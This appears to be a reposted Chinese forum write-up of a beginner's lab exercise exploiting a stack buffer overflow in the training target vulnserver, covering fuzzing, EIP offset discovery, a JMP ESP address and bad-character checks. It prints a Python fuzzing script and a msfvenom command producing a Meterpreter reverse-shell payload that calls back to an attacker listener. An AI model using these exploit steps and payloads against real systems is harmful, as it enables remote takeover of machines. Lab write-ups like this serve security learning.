一个缓冲区溢出复现笔记
2021-01-06 18:58:59 Author: mp.weixin.qq.com(查看原文) 阅读量:141 收藏

本文为看雪论优秀文章

看雪论坛作者ID:半杯凉茶

一、原理


缓冲区溢出的原因是程序中没有仔细检查用户输入的参数,通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,造成程序崩溃或使程序转而执行其它指令,以达到攻击的目的。

二、汇编基础


通用寄存器:
AX(累加器)
BX(基址寄存器)
CX(计数器)
DX(数据寄存器):可以分8位使用。
指针及变址寄存器:
SP(堆栈指针寄存器)
BP(基址指针寄存器)
SI(源变址寄存器)
DI(目的变址寄存器)
IP(指令指针寄存器):用来存放下一条要执行指令在内存中代码段中的偏移地址。
重点:缓冲区溢出堆栈覆盖顺序为 EIP -> ESP,通过控制EIP的指针跳转到ESP执行我们精心构造的shellcode。

三、环境准备

漏洞软件:vulnserver 已知参数TRUN
调试软件:Immunity Debugger
辅助脚本:noma.py、kali

四、模糊测试

1、双击启动vulnserver,默认监听9999端口。

2、通过脚本不断向目标程序发送数据,并查看寄存机的值。
import socketimport syshost = "192.168.1.74"port = 9999buffer = ["A"]counter=100while len(buffer) <= 30:        buffer.append("A"*counter)        counter=counter+200for string in buffer:        print "fuzzing is %s bytes" % len(string)    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)    connect=s.connect((host,port))    s.send('TRUN /.:/' + string)   s.close()
从上图可以看到,当发送到5900个字符时程序崩溃,说明存在缓冲区溢出。
内存中都是以十六进制显示字符,由于字符“A”对应的十六进制为41,上图可以看到,我们发送的超长字符已经成功覆盖EIP和ESP,接下来需要精确找到是第多少个字符覆盖了EIP,我们需要控制他。

五、精确查找溢出点

由于我们之前生成的字符全部是A,不知道是第几个A覆盖了EIP,我们要生成不重复序列,精确定位EIP位置。
1、msf-pattern_create -l  5900
复制这些字符替换我们前面脚本中的A
2、继续动态调试
成功溢出,记下EIP地址:
3、查找EIP偏移量
msf-pattern_offset -l 5900 -q 386f4337
显示结果为2003,说明覆盖EIP地址的是第2003个字符后面的字符,接下来就可以控制EIP的地址,需要让他跳转到我们的shellcode。

六、控制EIP

1、获取JMP ESP汇编指令在内存中的十六进制数据,FFE4:
2、寻找系统中的偏移地址,我们需要让EIP执行JMP ESP,从而跳转到ESP执行我们ESP中shellcode。
3、查找vulnserver调用的系统文件,我们要找前四列都为false的模块,因为没有启用内存保护机制,每次为程序分配固定的内存地址,这样计算机重启不会导致溢出程序失效。
4、在模块中查找 jmp esp对应的偏移地址:
跳转指令对应的偏移地址为625011af,我们来验证一下:
修改py脚本,将2003后面的字节写成这个偏移地址,由于栈先进后出的原则,我们要反过来写,“\xaf\x11\x50\x62”,验证,需要设置断点。
EIP成功指向跳转esp的偏移地址,接下来就可以在ESP构造shellcode,让EIP指向esp,shellcode就可以执行啦。

七、生成shellcode

1、坏字节对shellcode的影响,有些字节在缓冲区中是无法使用的,我们需要找出来,将所有字节发送到缓冲区,查看哪些字节不正常。
脚本:
打开动态调试观察内存中数据分布:
\x01\xff都正常,注意\x00是默认的坏字符,有可能终止shellcode执行,我们需要去除他。
接下来生成shellcode:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.82 LPORT=4444 -a x86 --platform windows -f c -b "\x00"
-- a 指定CPU架构
-- platform 指定操作系统平台
将shellcode替换之前脚本中badchars
启动msf
运行py脚本
陈宫返回msf shell
到此为止,缓冲区溢出完成。
小白第一次复现成功有一点点成就感,跟大家分享下,我相信只要你静下心慢慢搞,也能做成功,大佬请无视。

- End -

看雪ID:半杯凉茶

https://bbs.pediy.com/user-home-875085.htm

  *本文由看雪论坛 半杯凉茶 原创,转载请注明来自看雪社区。

# 往期推荐

公众号ID:ikanxue
官方微博:看雪安全
商务合作:[email protected]

球分享

球点赞

球在看

点击“阅读原文”,了解更多!


文章来源: http://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458379185&idx=1&sn=ff36aa1ab3e28a75d92e450d3f0703a4&chksm=b180d33b86f75a2da6f37f8d78ce49da477367aa228b06955116a0774e6b6806b725882c1236#rd
如有侵权请联系:admin#unsafe.sh